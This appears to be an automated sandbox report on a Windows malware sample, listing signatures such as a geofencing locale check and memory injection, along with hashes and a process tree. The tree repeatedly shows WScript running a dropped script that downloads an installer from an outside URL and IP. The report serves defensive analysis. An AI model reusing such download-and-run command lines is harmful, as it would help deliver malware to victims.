Analysis

  • max time kernel
    147s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13/06/2024, 01:48

General

  • Target
    a36e930ab6a25145cce6fa3284a39783_JaffaCakes118.exe
  • Size 184KB
  • Sample240613-b8jr2stdmq
  • SHA256 acddd663f5b84a819db81b9fa86416d7ef404e06bd787c27ae6c3f465575f2dc
  • MD5 SHA1 SHA512 SSDEEP
Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a36e930ab6a25145cce6fa3284a39783_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\a36e930ab6a25145cce6fa3284a39783_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:2360
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4AE4.js" http://www.djapp.info/?domain=TcOHQGTuMC.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4AE4.exe
      2⤵
        PID:2708
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4AE4.js" http://www.djapp.info/?domain=TcOHQGTuMC.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4AE4.exe
        2⤵
          PID:2340
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4AE4.js" http://www.djapp.info/?domain=TcOHQGTuMC.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4AE4.exe
          2⤵
            PID:2616
          • C:\Windows\SysWOW64\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4AE4.js" http://www.djapp.info/?domain=TcOHQGTuMC.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4AE4.exe
            2⤵
              PID:4560
            • C:\Windows\SysWOW64\WScript.exe
              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4AE4.js" http://www.djapp.info/?domain=TcOHQGTuMC.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4AE4.exe
              2⤵
                PID:1964

            Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

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                  Downloads

                  fuf4AE4.js

                  • Path C:\Users\Admin\AppData\Local\Temp\fuf4AE4.js
                  • Size 3KB
                  • SHA256 a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
                  • MD5 SHA1 SHA512